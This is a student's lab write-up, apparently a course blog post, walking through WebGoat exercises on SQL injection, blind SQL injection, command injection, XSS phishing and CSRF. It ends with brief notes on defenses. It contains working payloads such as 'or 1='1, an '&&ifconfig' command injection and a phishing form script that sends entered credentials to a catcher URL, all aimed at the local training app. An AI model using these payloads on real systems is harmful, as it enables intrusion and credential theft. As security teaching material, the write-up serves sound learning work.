20145336 张子扬 《网络对抗技术》 web安全基础实践

2014536 张子扬《网络攻防》Exp9 Web安全基础实践

实验准备

开启webgoat

1)开启webgoat,打开WebGoat:

java -jar webgoat-container-7.0.1-war-exec.jar

开启webgoat后请不要关闭它

2)打开浏览器进行登陆

localhost:8080/WebGoat

*注意此处大小写

实践过程

1、sql字符串注入(String SQL Injection)

这个题目的主要意思是:这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。

题目让我们试一试smith

可以发现查询语句的特点,如果可以使这个条件语句失效,那会发生什么呢

我们可以构造一个永真式“1”,可以使前面的WHERE是否成立都能执行!

在这里我们可以构造一条语句:'or 1='1。第一个分号是用来闭合上一条语句的,第二个分号用来闭合lastname的后一个分号,这样语句就被强行拆成了两个语句。加了一句or 1,后面的值为1。我们有知道or是都可取的。

2、数字型SQL注入(Numeric SQL Injection)

这个题目的主要意思是:这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据!

这道题并没有让我们可以进行注入的地方,所以我们不能再从网页上下手了,所以我们可以使用截获数据包的方法进行修改。

我们可以使用老师的kali中带的BurpSuite软件进行修改

在使用这个软件之前我们需要进行如下配置:

1、在proxy中的options选项中设置一个新的限制端口,在这里我使用了8888端口

2、在浏览器中进行选项设置preference->advanced->settings

将端口设置为刚才在BurpSuite中设定的8888端口。然后我们就可以使用BurpSuite了。

 

BurpSuite这个软件就相当于一个关卡,流过的数据包都会先被它拦截下来,可以进行分析,改动等等。等你满意了,你再把他放走。

回到试验中,我们在网页中点击go,看看它发了什么出去。

在intercept中我们可以看出它发送的包,右键然后在选项中选择send to repeater,在repeater pragram中看到station中发送的101,我们将它改为101 or 1=1,点击go(可以查看改动后的结果)。

回到浏览器中发现已经成功,这是一种比较好用的方法。我们可以使用这个软件进行分析和改动。

3、命令注入(Command Injection)

这道题目的主要意思是让我们尝试给操作系统注入命令行。

还是发现和上一道题目一样,没有任何地方可以给我们注入,那么还是使用老办法,burpsuite注入。

将数据包发送到repeater中分析一下:

发现它里面包含的是一条正常语句,我们尝试注入AccessControlMatrix.help"&&ifconfig"这里我们添加了一条ifconfig查询信息的命令。再次go一下,发现它果然运行了ifconfig的命令。返回了ifconfig的内容,这个内容在网页中没法可见。

4、盲数字注入(Blind Numeric SQL Injection)

这道题目的主要意思是:我们需要输入正确的数字。这里有几点提示:首先这是一个存放在pins表中的内容,行号为cc_number=1111222233334444,是一个int数据。

仔细观察,你输入数字后他会提示你这个数字是在范围还是超出范围的,那么这应该是一个判断语句。

那么我们可以构造一个语句,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );结果表示这个范围是对的,那么它应该大于100。

在构造一个101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1000 );结果不合法,不合法说明小于1000。

确定下范围后我们可以使用二分法不断缩小范围,直到找到真正的答案。最后我们可以得到答案2364

5、盲字符串注入(Blind String SQL Injection)

这道题目和上一道题目的意思大致相近,上一题目让你猜个数字,这一题目让你猜个字符串。

这道题我们可以使用burpsuite软件。首先简单注入一个我们的老伙伴101 and 1=1。捕获这个数据包,进行分析。

这里我们构造语句101 and (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'),1,1)<'z')这条语句的意思是z是不是在第一个字符的范围内

SUBSTRING方法:SUBSTRING(STRING,START,LENGTH) 将取得的字符串依次与不同字符的ascii码值比较,确定每一位字符的ascii码值,最终确定整个字符串。 1,1是指从前面查询的字符串中取得从第1个字符开始长度为1字符,即取第一个字符,与字符z的ascii码进行比较,通过返回的字符合法性判断该字符值。

我们在试试I,发现小于I不符合

再试试K,发现小于K符合

我们基本可以确定这个字母是什么了

我们发现前后都有双引号,而代码部分都是%27,我想是不是这就代表引号的意思,那么%3C是否就代表<

将这里改为等于号,发现第一个符号就是J

继续不断重复尝试,最后发现这个字符串是Jill。在这里我们需要注意这里有大小写的却别,我在第一次做时,使用的都是小写,怎么样都不在范围,然后我换成了大写,最终确定了字符。

6、LAB:SQL Injection

Stage 1:String SQL Injection

在这里我们可以试试我们的老伙计,对就是它'or 1='1,发现老伙计就是靠谱。

在这里有些网站的密码的长度可能不会设置很长,这里我们可以使用网页编程进行更改。

Stage 3:Numeric SQL Injection

这道题在上道题的基础上,我们进入后发现只可查看larry的信息。题目要求我们查看他老板的信息。

这里我们继续使用burpsuite进行注入112 or 1=1 order by salary desc,成功获取到了老板的信息!

XSS

7、跨站脚本钓鱼攻击(Phishing with XSS)

这道题目的主要意思是让我们使用xss和html注入,制作一个表单,来进行钓鱼。它还要求我们做的官方一点。

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
 <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
 <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

8、储存型XSSStored XSS Attacks

这道题目和上一道题目有区别,上一道题目可以做存储式的,这道题目是直接写在url里面的,里面可以写一些恶意代码。

这个是XSS攻击相对于简单一些的,要注意message的语法,输入命令 <script> alert("输入你想输入的内容"); </script>

其中alert函数就相当于c中的printf函数

在这里输入后成功

之后点击你刚制作的表单,然后我们可以发现这里的cookies可以盗走

9、CSRF攻击(Cross Site Request Forgey)

这道题目的主要意思是:发送一个邮件,里面包含XSRF页面恶意请求的隐藏图像

我们构造这样一条语句: 

然后我们在本网站寻找信息补全不知道的信息,上面指X所代替的数字

当在注入后,下面的列表会出现我们刚才新建的。点击后会执行代码。

这个实验的核心思想是如果用户在登陆一个已经认证的网站后,攻击者可以发送包含恶意代码的邮件,如果用户无意点击后,攻击者可以向认证网站发送任意请求,而认证网站会认为请求由用户发出,会执行这些请求。

10、CSRF Prompt By-pass

这道题目和上一道题目差不多:要求发送两个恶意请求,一个转钱的金额,另一个确认付款。

和上一题思路没啥区别,只不过第二条金钱的参数改为CONFIRM。

实验结果

实验问题

1、SQL注入攻击原理,如何防御

攻击原理:

SQL注入是指攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。简单来说,即把SQL语句当做用户名等输入正常网页中。

防御sql注入有两种方法:

在web网页设计中,用户输入的内容信息不可以直接进入后台,干扰后台执行的sql语句

用户在进行web网页输入时要对用户所输入的内容进行检测,如果出现sql注入代码,则不允许进行提交操作。

2、XSS攻击的原理,如何防御

攻击原理:

在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。

防御方法:

在可输入信息内容的地方进行输入字数的控制

对输入的内容进行检测和验证

3、CSRF攻击原理,如何防御

攻击原理: 通过伪装来自受信任用户的请求来利用受信任的网站,即受害用户登录受信任网站后,在本地生成了COOKIE而又在不登出该网站的情况下,访问了危险网站,而此时访问的危险网站可能就已经写入了利用你的身份进行而恶意操作的代码

防御方法:

即使清理浏览器中保存的cookies,在浏览器设置中会有退出时清楚cookies选项,选定后再每一次推出浏览器后都对清理一遍cookies。

增强自我保护意识,安装防护软件,危险网页停止浏览。

在使用比较重要的网页时,比如网上银行等等,不要去同时使用其他网站。

实验总结和体会

本次实验我们学习了三个比较常用的网络攻击方法。sql注入攻击、xss攻击、csrf攻击。这些攻击我们在日常生活中见到的还是很多的。

sql注入攻击主要是利用页面的请求查询字符串,将sql命令强行插入进web表单,达到欺骗服务器执行恶意命令。一般可以在网页上直接注入,或者截取数据包,对数据包进行篡改。这就警示我们对于代码的安全性,在编写代码时一定要严密,不能给攻击者有漏洞可钻。

xss攻击指跨站脚本攻击,用户可以在web页面中插入代码,当用户在浏览网页是执行恶意代码,从而实现邪恶的目的。所以在网页制作者的方面来讲,需要网页制作者制作严密的网页,对可输入的地方进行限制,对输入的信息进行检查。在使用浏览者的角度讲,应该培养安全意识,拒绝危险的网页。

csrf攻击主要是攻击者使用用户的身份,发送恶意的请求。这需要我们及时的清理我们的个人隐私信息。再使用自己身份进行一些重要的操作时(例如使用网上银行,进行线上交易等等),不要去使用不安全的程序,浏览不安全的网页。在完成操作后,对网上的个人信息进行删除。

从本次试验中,不仅让我感受到了网络攻击的有趣之处,也同时让我感受到了网络攻击的可怕之处。我们要时刻保持警惕之心,防止自己的隐私受到侵犯。

posted @ 2017-05-17 21:32  20145336张子扬  阅读(161)  评论(0编辑  收藏  举报